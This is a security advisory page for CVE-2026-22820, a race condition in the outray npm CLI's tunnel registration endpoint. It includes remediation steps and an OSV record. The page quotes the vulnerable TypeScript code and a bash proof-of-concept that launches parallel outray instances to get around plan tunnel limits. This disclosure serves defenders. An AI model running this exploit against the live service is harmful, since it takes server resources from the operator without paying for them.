CVE-2026-22820: Outray Outray Cli Is Vulnerable To Vulnerability

MODERATE
Advisory Identifier: GHSA-3pqc-836w-jgr7
CVSS 3.7
CWE-367
Published
Advisory Summary

CVE-2026-22820 is a MODERATE (CVSS 3.7) outray cli is vulnerable to vulnerability (CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition) affecting Outray libraries in the npm ecosystem. The issue involves outray cli is vulnerable to race conditions in tunnels creation. Remediation is available by upgrading affected packages to version 0.1.5.

CVE-2026-22820 at a Glance

CVE Identifier CVE-2026-22820
GHSA Identifier GHSA-3pqc-836w-jgr7
Severity MODERATE
CVSS v3.1 Base Score 3.7
CWE Classification CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
Affected Product Outray
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 3.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-22820

To remediate this vulnerability, upgrade all affected Outray dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

outray fixed: 0.1.5
npm install outray@0.1.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls outray

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-22820, inspect your project dependencies using npm:

npm ls outray

Analyze the terminal output to locate any version of Outray in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.1.5), your application is affected.

Note: The npm ls outray command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition, where the product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. In Outray, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A TOCTOU race condition vulnerability allows a user to exceed the set number of active tunnels in their subscription plan. ### Details Affected conponent: `apps/web/src/routes/api/tunnel/register.ts` - `/tunnel/register` endpoint code-: ```ts // Check if tunnel already exists in database const [existingTunnel] = await db .select() .from(tunnels) .where(eq(tunnels.url, tunnelUrl)); const isReconnection = !!existingTunnel; console.log( `[TUNNEL LIMIT CHECK] Org: ${organizationId}, Tunnel: ${tunnelId}`, ); console.log( `[TUNNEL LIMIT CHECK] Is Reconnection: ${isReconnection}`, ); console.log( `[TUNNEL LIMIT CHECK] Plan: ${currentPlan}, Limit: ${tunnelLimit}`, ); // Check limits only for NEW tunnels (not reconnections) if (!isReconnection) { // Count active tunnels from Redis SET const activeCount = await redis.scard(setKey); console.log( `[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`, ); // The current tunnel is NOT yet in the online_tunnels set (added after successful registration) // So we check if activeCount >= limit (not >) if (activeCount >= tunnelLimit) { console.log( `[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`, ); return json( { error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? "s" : ""}.`, }, { status: 403 }, ); } console.log( `[TUNNEL LIMIT CHECK] ALLOWED - ${activeCount} < ${tunnelLimit}`, ); } else { console.log(`[TUNNEL LIMIT CHECK] SKIPPED - Reconnection detected`); } if (existingTunnel) { // Tunnel with this URL already exists, update lastSeenAt await db .update(tunnels) .set({ lastSeenAt: new Date() }) .where(eq(tunnels.id, existingTunnel.id)); return json({ success: true, tunnelId: existingTunnel.id, }); } // Create new tunnel record const tunnelRecord = { id: randomUUID(), url: tunnelUrl, userId, organizationId, name: name || null, protocol, remotePort: remotePort || null, lastSeenAt: new Date(), createdAt: new Date(), updatedAt: new Date(), }; await db.insert(tunnels).values(tunnelRecord); return json({ success: true, tunnelId: tunnelRecord.id }); } catch (error) { console.error("Tunnel registration error:", error); return json({ error: "Internal server error" }, { status: 500 }); } ``` - It checks if the tunnel exists in the database. ```ts // Check if tunnel already exists in database const [existingTunnel] = await db .select() .from(tunnels) .where(eq(tunnels.url, tunnelUrl)); const isReconnection = !!existingTunnel; ``` - Limit is checked here-: ```ts // Check limits only for NEW tunnels (not reconnections) if (!isReconnection) { // Count active tunnels from Redis SET const activeCount = await redis.scard(setKey); console.log( `[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`, ); ``` - Redis is checked for existing tunnel to check for reconnection. ```ts // Check limits only for NEW tunnels (not reconnections) if (!isReconnection) { // Count active tunnels from Redis SET const activeCount = await redis.scard(setKey); console.log( `[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`, ); ``` - If the tunnel limit is exceeded, it pops up the tunnel limit error. ```ts if (activeCount >= tunnelLimit) { console.log( `[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`, ); return json( { error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? "s" : ""}.`, }, { status: 403 }, ); ``` - If the limit is not exceeded, it triggers a the `Insert` Statement without locking transactions from other request ```ts await db.insert(tunnels).values(tunnelRecord); ``` - If parallel requests are made by the `wshandler` in `/outray/outray-main/apps/tunnel/src/core/WSHandler.ts` from the command line app. A request can work on a non updated row because the `insert` row has not been triggered allowing the user to bypass the limit. It is much explained in the proof of concept. The key takeaway is db transactions should remain locked. ### PoC Using this simple bash script, the `outray` binary will be run at the same time in one `tmux` window, demonstrating the race condition and opening 4 tunnels. ```bash #!/usr/bin/env bash # POC for Outray Tunnel Race condition SESSION="outray-race" PORTS=(8090 4000 5000 6000) # Create new detached tmux session tmux new-session -d -s "$SESSION" "echo '[*] outray race session started'; bash" # Split the panes and run outray for i in "${!PORTS[@]}"; do port="${PORTS[$i]}" if [ "$i" -ne 0 ]; then tmux split-window -t "$SESSION" -h tmux select-layout -t "$SESSION" tiled fi tmux send-keys -t "$SESSION" "echo '[*] Running outray on port $port'; outray $port" C-m done tmux set-window-option -t "$SESSION" synchronize-panes off echo "[+] tmux session '$SESSION' created" echo "[+] Attach with: tmux attach -t $SESSION" ``` Running this ``` seeker@instance-20260106-20011$ bash kay.sh [+] tmux session 'outray-race' created [+] Attach with: tmux attach -t outray-race seeker@instance-20260106-20011$ tmux attach -t outray-race ``` <img width="1909" height="1021" alt="image" src="https://github.com/user-attachments/assets/c234cc94-fc25-4542-abdf-815332493a85" /> <img width="1907" height="936" alt="image" src="https://github.com/user-attachments/assets/1c302d7f-1ca6-46af-ab72-60fd01cdfded" /> ### Impact By exploiting this TOCTOU race condition in the affected component, the intended limit is bypassed and server resources is used with no extra billing charges on the user.

CVE-2026-22820 Affected Outray Versions

1 component(s)
Fixed Versions:
0.1.5
Product / Package Ecosystem Affected Versions Fixed Version
outray
npm
< 0.1.5
0.1.5

References

Frequently Asked Questions

What is CVE-2026-22820?
CVE-2026-22820 is a security vulnerability in Outray involving Outray cli is vulnerable to race conditions in tunnels creation under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition.
Which Outray versions are affected?
Affected versions include releases prior to 0.1.5 across affected packages: outray.
What version fixes CVE-2026-22820?
Upgrading to 0.1.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is outray affected?
Yes, outray is affected in releases prior to 0.1.5. Upgrade your dependency to 0.1.5 or later.
What is the CVSS score of CVE-2026-22820?
CVE-2026-22820 has a CVSS v3.1 base score of 3.7 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N.
What CWE is associated with CVE-2026-22820?
CVE-2026-22820 is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.).
How can I check npm dependencies for CVE-2026-22820?
Run the dependency tree command: 'npm ls outray'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3pqc-836w-jgr7",
  "modified" : "2026-01-21T16:17:07Z",
  "published" : "2026-01-13T21:53:44Z",
  "aliases" : [ "CVE-2026-22820" ],
  "summary" : "Outray cli is vulnerable to race conditions in tunnels creation",
  "details" : "### Summary\n\nA TOCTOU race condition vulnerability allows a user to exceed the set number of active tunnels in their subscription plan.\n\n### Details\n\nAffected conponent: `apps/web/src/routes/api/tunnel/register.ts`\n- `/tunnel/register` endpoint code-:\n\n```ts\n// Check if tunnel already exists in database\n          const [existingTunnel] = await db\n            .select()\n            .from(tunnels)\n            .where(eq(tunnels.url, tunnelUrl));\n\n          const isReconnection = !!existingTunnel;\n\n          console.log(\n            `[TUNNEL LIMIT CHECK] Org: ${organizationId}, Tunnel: ${tunnelId}`,\n          );\n          console.log(\n            `[TUNNEL LIMIT CHECK] Is Reconnection: ${isReconnection}`,\n          );\n          console.log(\n            `[TUNNEL LIMIT CHECK] Plan: ${currentPlan}, Limit: ${tunnelLimit}`,\n          );\n\n          // Check limits only for NEW tunnels (not reconnections)\n          if (!isReconnection) {\n            // Count active tunnels from Redis SET\n            const activeCount = await redis.scard(setKey);\n            console.log(\n              `[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,\n            );\n\n            // The current tunnel is NOT yet in the online_tunnels set (added after successful registration)\n            // So we check if activeCount >= limit (not >)\n            if (activeCount >= tunnelLimit) {\n              console.log(\n                `[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`,\n              );\n              return json(\n                {\n                  error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? \"s\" : \"\"}.`,\n                },\n                { status: 403 },\n              );\n            }\n            console.log(\n              `[TUNNEL LIMIT CHECK] ALLOWED - ${activeCount} < ${tunnelLimit}`,\n            );\n          } else {\n            console.log(`[TUNNEL LIMIT CHECK] SKIPPED - Reconnection detected`);\n          }\n\n          if (existingTunnel) {\n            // Tunnel with this URL already exists, update lastSeenAt\n            await db\n              .update(tunnels)\n              .set({ lastSeenAt: new Date() })\n              .where(eq(tunnels.id, existingTunnel.id));\n\n            return json({\n              success: true,\n              tunnelId: existingTunnel.id,\n            });\n          }\n\n          // Create new tunnel record\n          const tunnelRecord = {\n            id: randomUUID(),\n            url: tunnelUrl,\n            userId,\n            organizationId,\n            name: name || null,\n            protocol,\n            remotePort: remotePort || null,\n            lastSeenAt: new Date(),\n            createdAt: new Date(),\n            updatedAt: new Date(),\n          };\n\n          await db.insert(tunnels).values(tunnelRecord);\n\n          return json({ success: true, tunnelId: tunnelRecord.id });\n        } catch (error) {\n          console.error(\"Tunnel registration error:\", error);\n          return json({ error: \"Internal server error\" }, { status: 500 });\n        }\n```\n- It checks if the tunnel exists in the database.\n```ts\n// Check if tunnel already exists in database\n          const [existingTunnel] = await db\n            .select()\n            .from(tunnels)\n            .where(eq(tunnels.url, tunnelUrl));\n\n          const isReconnection = !!existingTunnel;\n```\n\n- Limit is checked here-:\n```ts\n// Check limits only for NEW tunnels (not reconnections)\n\nif (!isReconnection) {\n\n// Count active tunnels from Redis SET\n\nconst activeCount = await redis.scard(setKey);\n\nconsole.log(\n\n`[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,\n\n);\n```\n- Redis is checked for existing tunnel to check for reconnection.\n```ts\n// Check limits only for NEW tunnels (not reconnections)\n          if (!isReconnection) {\n            // Count active tunnels from Redis SET\n            const activeCount = await redis.scard(setKey);\n            console.log(\n              `[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,\n            );\n```\n\n- If the tunnel limit is exceeded, it pops up the tunnel limit error.\n\n```ts\nif (activeCount >= tunnelLimit) {\n              console.log(\n                `[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`,\n              );\n              return json(\n                {\n                  error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? \"s\" : \"\"}.`,\n                },\n                { status: 403 },\n              );\n```\n- If the limit is not exceeded, it triggers a the `Insert` Statement without locking transactions from other request\n\n```ts\nawait db.insert(tunnels).values(tunnelRecord);\n```\n- If parallel requests are made by the `wshandler` in `/outray/outray-main/apps/tunnel/src/core/WSHandler.ts` from the command line app. A request can work on a non updated  row  because the `insert` row has not been triggered allowing the user to bypass the limit. It is much explained in the proof of concept. The key takeaway is db transactions should remain locked.\n\n### PoC\n\nUsing this simple bash script, the `outray` binary will be run at the same time in one `tmux` window, demonstrating the race condition and opening 4 tunnels.\n\n```bash\n#!/usr/bin/env bash\n\n# POC for Outray Tunnel Race condition\nSESSION=\"outray-race\"\nPORTS=(8090 4000 5000 6000)\n\n# Create new detached tmux session\ntmux new-session -d -s \"$SESSION\" \"echo '[*] outray race session started'; bash\"\n\n# Split the panes and run outray\nfor i in \"${!PORTS[@]}\"; do\n  port=\"${PORTS[$i]}\"\n\n  if [ \"$i\" -ne 0 ]; then\n    tmux split-window -t \"$SESSION\" -h\n    tmux select-layout -t \"$SESSION\" tiled\n  fi\n\n  tmux send-keys -t \"$SESSION\" \"echo '[*] Running outray on port $port'; outray $port\" C-m\ndone\n\ntmux set-window-option -t \"$SESSION\" synchronize-panes off\n\necho \"[+] tmux session '$SESSION' created\"\necho \"[+] Attach with: tmux attach -t $SESSION\"\n\n```\n\nRunning this\n\n```\nseeker@instance-20260106-20011$ bash kay.sh\n[+] tmux session 'outray-race' created\n[+] Attach with: tmux attach -t outray-race\n\nseeker@instance-20260106-20011$ tmux attach -t outray-race\n```\n\n<img width=\"1909\" height=\"1021\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c234cc94-fc25-4542-abdf-815332493a85\" />\n\n\n<img width=\"1907\" height=\"936\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1c302d7f-1ca6-46af-ab72-60fd01cdfded\" />\n\n### Impact\n\nBy exploiting this TOCTOU race condition in the affected component, the intended limit is bypassed and server resources is used with no extra billing charges on the user.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "outray"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.1.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/akinloluwami/outray/security/advisories/GHSA-3pqc-836w-jgr7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/outray-tunnel/outray/security/advisories/GHSA-3pqc-836w-jgr7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22820"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/outray-tunnel/outray/commit/08c61495761349e7fd2965229c3faa8d7b1c1581"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/akinloluwami/outray"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-367" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-13T21:53:44Z",
    "nvd_published_at" : "2026-01-14T15:16:05Z"
  }
}